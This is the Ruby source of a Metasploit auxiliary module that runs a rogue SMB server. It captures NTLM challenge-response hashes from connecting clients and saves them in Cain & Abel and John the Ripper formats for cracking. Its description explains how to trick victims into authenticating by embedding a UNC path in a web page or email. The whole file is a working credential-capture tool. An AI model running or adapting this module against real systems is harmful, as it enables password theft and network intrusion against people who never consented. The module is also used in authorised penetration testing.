## # $Id$ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Exploit::Remote::SMBServer def initialize super( 'Name' => 'Authentication Capture: SMB', 'Version' => '$Revision$', 'Description' => %q{ This module provides a SMB service that can be used to capture the challenge-response password hashes of SMB client systems. Responses sent by this service have by default the configurable challenge string (\x11\x22\x33\x44\x55\x66\x77\x88), allowing for easy cracking using Cain & Abel, L0phtcrack or John the ripper (with jumbo patch). To exploit this, the target system must try to authenticate to this module. The easiest way to force a SMB authentication attempt is by embedding a UNC path (\\\\SERVER\\SHARE) into a web page or email message. When the victim views the web page or email, their system will automatically connect to the server specified in the UNC share (the IP address of the system running this module) and attempt to authenticate. }, 'Author' => 'hdm', 'License' => MSF_LICENSE, 'Actions' => [ [ 'Sniffer' ] ], 'PassiveActions' => [ 'Sniffer' ], 'DefaultAction' => 'Sniffer' ) register_options( [ #OptString.new('LOGFILE', [ false, "The local filename to store the captured hashes", nil ]), OptString.new('CAINPWFILE', [ false, "The local filename to store the hashes in Cain&Abel format", nil ]), OptString.new('JOHNPWFILE', [ false, "The prefix to the local filename to store the hashes in JOHN format", nil ]), OptString.new('CHALLENGE', [ true, "The 8 byte challenge ", "1122334455667788" ]) ], self.class ) register_advanced_options( [ OptBool.new("SMB_EXTENDED_SECURITY", [ true, "Use smb extended security negociation, when set client will use ntlmssp, if not then client will use classic lanman authentification", false ]), OptBool.new("NTLM_UseNTLM2_session", [ true, "Activate the 'negociate NTLM2 key' flag in NTLM authentication. " + "When SMB extended security negociation is set, client will use ntlm2_session instead of ntlmv1 (default on win 2K and above)", false ]), OptBool.new("USE_GSS_NEGOCIATION", [ true, "Send a gss_security blob in smb_negociate response when SMB extended security is set. " + "When this flag is not set, Windows will respond without gss encapsulation, Ubuntu will still use gss.", true ]), OptString.new('DOMAIN_NAME', [ true, "The domain name used during smb exchange with smb extended security set ", "anonymous" ]) ], self.class) end def run @s_smb_esn = datastore['SMB_EXTENDED_SECURITY'] @s_ntlm_esn = datastore['NTLM_UseNTLM2_session'] @s_gss_neg = datastore['USE_GSS_NEGOCIATION'] @domain_name = datastore['DOMAIN_NAME'] @s_GUID = [Rex::Text.rand_text_hex(32)].pack('H*') if datastore['CHALLENGE'].to_s =~ /^([a-fA-F0-9]{16})$/ @challenge = [ datastore['CHALLENGE'] ].pack("H*") else print_error("CHALLENGE syntax must match 1122334455667788") return end #those variables will prevent to spam the screen with identical hashes (works only with ntlmv1) @previous_lm_hash="none" @previous_ntlm_hash="none" exploit() end def smb_cmd_dispatch(cmd, c, buff) smb = @state[c] pkt = CONST::SMB_BASE_PKT.make_struct pkt.from_s(buff) #Record the IDs smb[:process_id] = pkt['Payload']['SMB'].v['ProcessID'] smb[:user_id] = pkt['Payload']['SMB'].v['UserID'] smb[:tree_id] = pkt['Payload']['SMB'].v['TreeID'] smb[:multiplex_id] = pkt['Payload']['SMB'].v['MultiplexID'] case cmd when CONST::SMB_COM_NEGOTIATE #client set extended security negociation if (pkt['Payload']['SMB'].v['Flags2'] & 0x800 != 0) smb_cmd_negotiate(c, buff, true) else smb_cmd_negotiate(c, buff, false) end when CONST::SMB_COM_SESSION_SETUP_ANDX wordcount = pkt['Payload']['SMB'].v['WordCount'] #CIFS SMB_COM_SESSION_SETUP_ANDX request without smb extended security #This packet contains the lm/ntlm hashes if wordcount == 0x0D smb_cmd_session_setup(c, buff, false) #CIFS SMB_COM_SESSION_SETUP_ANDX request with smb extended security # can be of type NTLMSS_NEGOCIATE or NTLMSSP_AUTH, elsif wordcount == 0x0C smb_cmd_session_setup(c, buff, true) else print_status("Unknown SMB_COM_SESSION_SETUP_ANDX request type , ignoring... ") smb_error(cmd, c, CONST::SMB_STATUS_SUCCESS, @s_smb_esn) end when CONST::SMB_COM_TREE_CONNECT print_status("Denying tree connect from #{smb[:name]}") smb_error(cmd, c, SMB_SMB_STATUS_ACCESS_DENIED, @s_smb_esn) else print_status("Ignoring request from #{smb[:name]} (#{cmd})") smb_error(cmd, c, CONST::SMB_STATUS_SUCCESS, @s_smb_esn) end end def smb_cmd_negotiate(c, buff, c_esn) smb = @state[c] pkt = CONST::SMB_NEG_PKT.make_struct pkt.from_s(buff) #Record the IDs smb[:process_id] = pkt['Payload']['SMB'].v['ProcessID'] smb[:user_id] = pkt['Payload']['SMB'].v['UserID'] smb[:tree_id] = pkt['Payload']['SMB'].v['TreeID'] smb[:multiplex_id] = pkt['Payload']['SMB'].v['MultiplexID'] group = '' machine = smb[:nbsrc] dialects = pkt['Payload'].v['Payload'].gsub(/\x00/, '').split(/\x02/).grep(/^\w+/) # print_status("Negotiation from #{smb[:name]}: #{dialects.join(", ")}") dialect = dialects.index("NT LM 0.12") || dialects.length-1 pkt = CONST::SMB_NEG_RES_NT_PKT.make_struct smb_set_defaults(c, pkt) time_hi, time_lo = UTILS.time_unix_to_smb(Time.now.to_i) pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NEGOTIATE pkt['Payload']['SMB'].v['Flags1'] = 0x88 pkt['Payload']['SMB'].v['WordCount'] = 17 pkt['Payload'].v['Dialect'] = dialect pkt['Payload'].v['SecurityMode'] = 3 pkt['Payload'].v['MaxMPX'] = 2 pkt['Payload'].v['MaxVCS'] = 1 pkt['Payload'].v['MaxBuff'] = 4356 pkt['Payload'].v['MaxRaw'] = 65536 pkt['Payload'].v['SystemTimeLow'] = time_lo pkt['Payload'].v['SystemTimeHigh'] = time_hi pkt['Payload'].v['ServerTimeZone'] = 0x0 pkt['Payload'].v['SessionKey'] = 0 if c_esn && @s_smb_esn then pkt['Payload']['SMB'].v['Flags2'] = 0xc801 pkt['Payload'].v['Capabilities'] = 0x8000e3fd pkt['Payload'].v['KeyLength'] = 0 pkt['Payload'].v['Payload'] = @s_GUID if @s_gss_neg then pkt['Payload'].v['Payload'] += NTLM_UTILS::make_simple_negotiate_secblob_resp end else pkt['Payload']['SMB'].v['Flags2'] = 0xc001 pkt['Payload'].v['Capabilities'] = 0xe3fd pkt['Payload'].v['KeyLength'] = 8 pkt['Payload'].v['Payload'] = @challenge + Rex::Text.to_unicode(group) + "\x00\x00" + Rex::Text.to_unicode(machine) + "\x00\x00" end c.put(pkt.to_s) end def smb_cmd_session_setup(c, buff, esn) smb = @state[c] #extended security has been negociated if esn pkt = CONST::SMB_SETUP_NTLMV2_PKT.make_struct pkt.from_s(buff) #Record the IDs smb[:process_id] = pkt['Payload']['SMB'].v['ProcessID'] smb[:user_id] = pkt['Payload']['SMB'].v['UserID'] smb[:tree_id] = pkt['Payload']['SMB'].v['TreeID'] smb[:multiplex_id] = pkt['Payload']['SMB'].v['MultiplexID'] securityblobLen = pkt['Payload'].v['SecurityBlobLen'] blob = pkt['Payload'].v['Payload'][0,securityblobLen] #detect if GSS is being used if blob[0,7] == 'NTLMSSP' c_gss = false else c_gss = true start = blob.index('NTLMSSP') if start blob.slice!(0,start) else print_status("Error finding NTLM in SMB_COM_SESSION_SETUP_ANDX request from #{smb[:name]}, ignoring ...") smb_error(CONST::SMB_COM_SESSION_SETUP_ANDX, c, CONST::SMB_STATUS_LOGON_FAILURE, true) return end end ntlm_message = NTLM_MESSAGE::parse(blob) case ntlm_message when NTLM_MESSAGE::Type1 #Send Session Setup AndX Response NTLMSSP_CHALLENGE response packet if (ntlm_message.flag & NTLM_CONST::NEGOTIATE_NTLM2_KEY != 0) c_ntlm_esn = true else c_ntlm_esn = false end pkt = CONST::SMB_SETUP_NTLMV2_RES_PKT.make_struct pkt.from_s(buff) smb_set_defaults(c, pkt) pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_SESSION_SETUP_ANDX pkt['Payload']['SMB'].v['ErrorClass'] = CONST::SMB_STATUS_MORE_PROCESSING_REQUIRED pkt['Payload']['SMB'].v['Flags1'] = 0x88 pkt['Payload']['SMB'].v['Flags2'] = 0xc807 pkt['Payload']['SMB'].v['WordCount'] = 4 pkt['Payload']['SMB'].v['UserID'] = 2050 pkt['Payload'].v['AndX'] = 0xFF pkt['Payload'].v['Reserved1'] = 0x00 pkt['Payload'].v['AndXOffset'] = 283 #ignored by client pkt['Payload'].v['Action'] = 0x0000 win_domain = Rex::Text.to_unicode(@domain_name.upcase) win_name = Rex::Text.to_unicode(@domain_name.upcase) dns_domain = Rex::Text.to_unicode(@domain_name.downcase) dns_name = Rex::Text.to_unicode(@domain_name.downcase) #create the ntlmssp_challenge security blob if c_ntlm_esn && @s_ntlm_esn sb_flag = 0xe28a8215 # ntlm2 else sb_flag = 0xe2828215 #no ntlm2 end if c_gss securityblob = NTLM_UTILS::make_ntlmssp_secblob_chall( win_domain, win_name, dns_domain, dns_name, @challenge, sb_flag) else securityblob = NTLM_UTILS::make_ntlmssp_blob_chall( win_domain, win_name, dns_domain, dns_name, @challenge, sb_flag) end pkt['Payload'].v['SecurityBlobLen'] = securityblob.length pkt['Payload'].v['Payload'] = securityblob c.put(pkt.to_s) when NTLM_MESSAGE::Type3 #we can process the hash and send a status_logon_failure response packet # Record the remote multiplex ID smb[:multiplex_id] = pkt['Payload']['SMB'].v['MultiplexID'] lm_len = ntlm_message.lm_response.length # Always 24 nt_len = ntlm_message.ntlm_response.length if nt_len == 24 #lmv1/ntlmv1 or ntlm2_session arg = { :ntlm_ver => NTLM_CONST::NTLM_V1_RESPONSE, :lm_hash => ntlm_message.lm_response.unpack('H*')[0], :nt_hash => ntlm_message.ntlm_response.unpack('H*')[0] } if @s_ntlm_esn && arg[:lm_hash][16,32] == '0' * 32 arg[:ntlm_ver] = NTLM_CONST::NTLM_2_SESSION_RESPONSE end #if the length of the ntlm response is not 24 then it will be bigger and represent # a ntlmv2 response elsif nt_len > 24 #lmv2/ntlmv2 arg = { :ntlm_ver => NTLM_CONST::NTLM_V2_RESPONSE, :lm_hash => ntlm_message.lm_response[0, 16].unpack('H*')[0], :lm_cli_challenge => ntlm_message.lm_response[16, 8].unpack('H*')[0], :nt_hash => ntlm_message.ntlm_response[0, 16].unpack('H*')[0], :nt_cli_challenge => ntlm_message.ntlm_response[16, nt_len - 16].unpack('H*')[0] } elsif nt_len == 0 print_status("Empty hash from #{smb[:name]} captured, ignoring ... ") smb_error(CONST::SMB_COM_SESSION_SETUP_ANDX, c, CONST::SMB_STATUS_LOGON_FAILURE, true) return else print_status("Unknown hash type from #{smb[:name]}, ignoring ...") smb_error(CONST::SMB_COM_SESSION_SETUP_ANDX, c, CONST::SMB_STATUS_LOGON_FAILURE, true) return end buff = pkt['Payload'].v['Payload'] buff.slice!(0,securityblobLen) names = buff.split("\x00\x00").map { |x| x.gsub(/\x00/, '') } smb[:username] = ntlm_message.user smb[:domain] = ntlm_message.domain smb[:peer_os] = names[0] smb[:peer_lm] = names[1] begin smb_get_hash(smb,arg,true) rescue ::Exception => e print_status("Error processing Hash from #{smb[:name]} : #{e.class} #{e} #{e.backtrace}") end smb_error(CONST::SMB_COM_SESSION_SETUP_ANDX, c, CONST::SMB_STATUS_LOGON_FAILURE, true) else smb_error(CONST::SMB_COM_SESSION_SETUP_ANDX, c, CONST::SMB_STATUS_LOGON_FAILURE, true) end #if not we can get the hash and send a status_access_denied response packet else pkt = CONST::SMB_SETUP_NTLMV1_PKT.make_struct pkt.from_s(buff) # Record the IDs smb[:process_id] = pkt['Payload']['SMB'].v['ProcessID'] smb[:user_id] = pkt['Payload']['SMB'].v['UserID'] smb[:tree_id] = pkt['Payload']['SMB'].v['TreeID'] smb[:multiplex_id] = pkt['Payload']['SMB'].v['MultiplexID'] lm_len = pkt['Payload'].v['PasswordLenLM'] # Always 24 nt_len = pkt['Payload'].v['PasswordLenNT'] if nt_len == 24 arg = { :ntlm_ver => NTLM_CONST::NTLM_V1_RESPONSE, :lm_hash => pkt['Payload'].v['Payload'][0, lm_len].unpack("H*")[0], :nt_hash => pkt['Payload'].v['Payload'][lm_len, nt_len].unpack("H*")[0] } #if the length of the ntlm response is not 24 then it will be bigger and represent # a ntlmv2 response elsif nt_len > 24 arg = { :ntlm_ver => NTLM_CONST::NTLM_V2_RESPONSE, :lm_hash => pkt['Payload'].v['Payload'][0, 16].unpack("H*")[0], :lm_cli_challenge => pkt['Payload'].v['Payload'][16, 8].unpack("H*")[0], :nt_hash => pkt['Payload'].v['Payload'][lm_len, 16].unpack("H*")[0], :nt_cli_challenge => pkt['Payload'].v['Payload'][lm_len + 16, nt_len - 16].unpack("H*")[0] } elsif nt_len == 0 print_status("Empty hash captured from #{smb[:name]} captured, ignoring ... ") smb_error(CONST::SMB_COM_SESSION_SETUP_ANDX, c, CONST::SMB_STATUS_LOGON_FAILURE, true) return else print_status("Unknown hash type capture from #{smb[:name]}, ignoring ...") smb_error(CONST::SMB_COM_SESSION_SETUP_ANDX, c, CONST::SMB_STATUS_LOGON_FAILURE, true) return end buff = pkt['Payload'].v['Payload'] buff.slice!(0, lm_len + nt_len) names = buff.split("\x00\x00").map { |x| x.gsub(/\x00/, '') } smb[:username] = names[0] smb[:domain] = names[1] smb[:peer_os] = names[2] smb[:peer_lm] = names[3] begin smb_get_hash(smb,arg,false) rescue ::Exception => e print_status("Error processing Hash from #{smb[:name]} : #{e.class} #{e} #{e.backtrace}") end smb_error(CONST::SMB_COM_SESSION_SETUP_ANDX, c, CONST::SMB_STATUS_LOGON_FAILURE, true) end end def smb_get_hash(smb, arg = {}, esn=true) ntlm_ver = arg[:ntlm_ver] if ntlm_ver == NTLM_CONST::NTLM_V1_RESPONSE or ntlm_ver == NTLM_CONST::NTLM_2_SESSION_RESPONSE lm_hash = arg[:lm_hash] nt_hash = arg[:nt_hash] else lm_hash = arg[:lm_hash] nt_hash = arg[:nt_hash] lm_cli_challenge = arg[:lm_cli_challenge] nt_cli_challenge = arg[:nt_cli_challenge] end # Clean up the data for loggging if (smb[:username] == "") smb[:username] = nil end if (smb[:domain] == "") smb[:domain] = nil end unless @previous_lm_hash == lm_hash and @previous_ntlm_hash == nt_hash then @previous_lm_hash = lm_hash @previous_ntlm_hash = nt_hash # Check if we have default values (empty pwd, null hashes, ...) and adjust the on-screen messages correctly case ntlm_ver when NTLM_CONST::NTLM_V1_RESPONSE if NTLM_CRYPT::is_hash_from_empty_pwd?({:hash => [nt_hash].pack("H*"),:srv_challenge => @challenge, :ntlm_ver => NTLM_CONST::NTLM_V1_RESPONSE, :type => 'ntlm' }) print_status("NLMv1 Hash correspond to an empty password, ignoring ... ") return end if (lm_hash == nt_hash or lm_hash == "" or lm_hash =~ /^0*$/ ) then lm_hash_message = "Disabled" elsif NTLM_CRYPT::is_hash_from_empty_pwd?({:hash => [lm_hash].pack("H*"),:srv_challenge => @challenge, :ntlm_ver => NTLM_CONST::NTLM_V1_RESPONSE, :type => 'lm' }) lm_hash_message = "Disabled (from empty password)" else lm_hash_message = lm_hash lm_chall_message = lm_cli_challenge end when NTLM_CONST::NTLM_V2_RESPONSE if NTLM_CRYPT::is_hash_from_empty_pwd?({:hash => [nt_hash].pack("H*"),:srv_challenge => @challenge, :cli_challenge => [nt_cli_challenge].pack("H*"), :user => Rex::Text::to_ascii(smb[:username]), :domain => Rex::Text::to_ascii(smb[:domain]), :ntlm_ver => NTLM_CONST::NTLM_V2_RESPONSE, :type => 'ntlm' }) print_status("NTLMv2 Hash correspond to an empty password, ignoring ... ") return end if lm_hash == '0' * 32 and lm_cli_challenge == '0' * 16 lm_hash_message = "Disabled" lm_chall_message = 'Disabled' elsif NTLM_CRYPT::is_hash_from_empty_pwd?({:hash => [lm_hash].pack("H*"),:srv_challenge => @challenge, :cli_challenge => [lm_cli_challenge].pack("H*"), :user => Rex::Text::to_ascii(smb[:username]), :domain => Rex::Text::to_ascii(smb[:domain]), :ntlm_ver => NTLM_CONST::NTLM_V2_RESPONSE, :type => 'lm' }) lm_hash_message = "Disabled (from empty password)" lm_chall_message = 'Disabled' else lm_hash_message = lm_hash lm_chall_message = lm_cli_challenge end when NTLM_CONST::NTLM_2_SESSION_RESPONSE if NTLM_CRYPT::is_hash_from_empty_pwd?({:hash => [nt_hash].pack("H*"),:srv_challenge => @challenge, :cli_challenge => [lm_hash].pack("H*")[0,8], :ntlm_ver => NTLM_CONST::NTLM_2_SESSION_RESPONSE, :type => 'ntlm' }) print_status("NTLM2_session Hash correspond to an empty password, ignoring ... ") return end lm_hash_message = lm_hash lm_chall_message = lm_cli_challenge end # Display messages if esn smb[:username] = Rex::Text::to_ascii(smb[:username]) smb[:domain] = Rex::Text::to_ascii(smb[:domain]) if smb[:domain] end capturedtime = Time.now.to_s case ntlm_ver when NTLM_CONST::NTLM_V1_RESPONSE smb_db_type_hash = "smb_netv1_hash" capturelogmessage = "#{capturedtime}\nNTLMv1 Response Captured from #{smb[:name]} \n" + "USER:#{smb[:username]} DOMAIN:#{smb[:domain]} OS:#{smb[:peer_os]} LM:#{smb[:peer_lm]}\n" + "LMHASH:#{lm_hash_message ? lm_hash_message : ""} \nNTHASH:#{nt_hash ? nt_hash : ""}\n" when NTLM_CONST::NTLM_V2_RESPONSE smb_db_type_hash = "smb_netv2_hash" capturelogmessage = "#{capturedtime}\nNTLMv2 Response Captured from #{smb[:name]} \n" + "USER:#{smb[:username]} DOMAIN:#{smb[:domain]} OS:#{smb[:peer_os]} LM:#{smb[:peer_lm]}\n" + "LMHASH:#{lm_hash_message ? lm_hash_message : ""} " + "LM_CLIENT_CHALLENGE:#{lm_chall_message ? lm_chall_message : ""}\n" + "NTHASH:#{nt_hash ? nt_hash : ""} " + "NT_CLIENT_CHALLENGE:#{nt_cli_challenge ? nt_cli_challenge : ""}\n" when NTLM_CONST::NTLM_2_SESSION_RESPONSE #we can consider those as netv1 has they have the same size and i cracked the same way by cain/jtr #also 'real' netv1 is almost never seen nowadays except with smbmount or msf server capture smb_db_type_hash = "smb_netv1_hash" capturelogmessage = "#{capturedtime}\nNTLM2_SESSION Response Captured from #{smb[:name]} \n" + "USER:#{smb[:username]} DOMAIN:#{smb[:domain]} OS:#{smb[:peer_os]} LM:#{smb[:peer_lm]}\n" + "NTHASH:#{nt_hash ? nt_hash : ""}\n" + "NT_CLIENT_CHALLENGE:#{lm_hash_message ? lm_hash_message[0,16] : ""} \n" else # should not happen return end print_status(capturelogmessage) # DB reporting report_auth_info( :host => smb[:ip], :port => datastore['SRVPORT'], :sname => 'smb_challenge', :user => smb[:username], :pass => smb[:domain] + ":" + ( lm_hash + lm_cli_challenge.to_s ? lm_hash + lm_cli_challenge.to_s : "00" * 24 ) + ":" + ( nt_hash + nt_cli_challenge.to_s ? nt_hash + nt_cli_challenge.to_s : "00" * 24 ) + ":" + datastore['CHALLENGE'].to_s, :type => smb_db_type_hash, :proof => "NAME=#{smb[:nbsrc]} DOMAIN=#{smb[:domain]} OS=#{smb[:peer_os]}", :source_type => "captured", :active => true ) report_note( :host => smb[:ip], :type => "smb_peer_os", :data => smb[:peer_os] ) if (smb[:peer_os] and smb[:peer_os].strip.length > 0) report_note( :host => smb[:ip], :type => "smb_peer_lm", :data => smb[:peer_lm] ) if (smb[:peer_lm] and smb[:peer_lm].strip.length > 0) report_note( :host => smb[:ip], :type => "smb_domain", :data => smb[:domain] ) if (smb[:domain] and smb[:domain].strip.length > 0) #if(datastore['LOGFILE']) # File.open(datastore['LOGFILE'], "ab") {|fd| fd.puts(capturelogmessage + "\n")} #end if(datastore['CAINPWFILE'] and smb[:username]) if ntlm_ver == NTLM_CONST::NTLM_V1_RESPONSE or ntlm_ver == NTLM_CONST::NTLM_2_SESSION_RESPONSE fd = File.open(datastore['CAINPWFILE'], "ab") fd.puts( [ smb[:username], smb[:domain] ? smb[:domain] : "NULL", @challenge.unpack("H*")[0], lm_hash ? lm_hash : "0" * 48, nt_hash ? nt_hash : "0" * 48 ].join(":").gsub(/\n/, "\\n") ) fd.close end end if(datastore['JOHNPWFILE'] and smb[:username]) case ntlm_ver when NTLM_CONST::NTLM_V1_RESPONSE,NTLM_CONST::NTLM_2_SESSION_RESPONSE fd = File.open(datastore['JOHNPWFILE'] + '_netntlm', "ab") fd.puts( [ smb[:username],"", smb[:domain] ? smb[:domain] : "NULL", lm_hash ? lm_hash : "0" * 48, nt_hash ? nt_hash : "0" * 48, @challenge.unpack("H*")[0] ].join(":").gsub(/\n/, "\\n") ) fd.close when NTLM_CONST::NTLM_V2_RESPONSE #lmv2 fd = File.open(datastore['JOHNPWFILE'] + '_netlmv2', "ab") fd.puts( [ smb[:username],"", smb[:domain] ? smb[:domain] : "NULL", @challenge.unpack("H*")[0], lm_hash ? lm_hash : "0" * 32, lm_cli_challenge ? lm_cli_challenge : "0" * 16 ].join(":").gsub(/\n/, "\\n") ) fd.close #ntlmv2 fd = File.open(datastore['JOHNPWFILE'] + '_netntlmv2' , "ab") fd.puts( [ smb[:username],"", smb[:domain] ? smb[:domain] : "NULL", @challenge.unpack("H*")[0], nt_hash ? nt_hash : "0" * 32, nt_cli_challenge ? nt_cli_challenge : "0" * 160 ].join(":").gsub(/\n/, "\\n") ) fd.close end end end end def smb_cmd_close(c, buff) end def smb_cmd_create(c, buff) end def smb_cmd_delete(c, buff) end def smb_cmd_nttrans(c, buff) end def smb_cmd_open(c, buff) end def smb_cmd_read(c, buff) end def smb_cmd_trans(c, buff) end def smb_cmd_tree_connect(c, buff) end def smb_cmd_tree_disconnect(c, buff) end def smb_cmd_write(c, buff) end end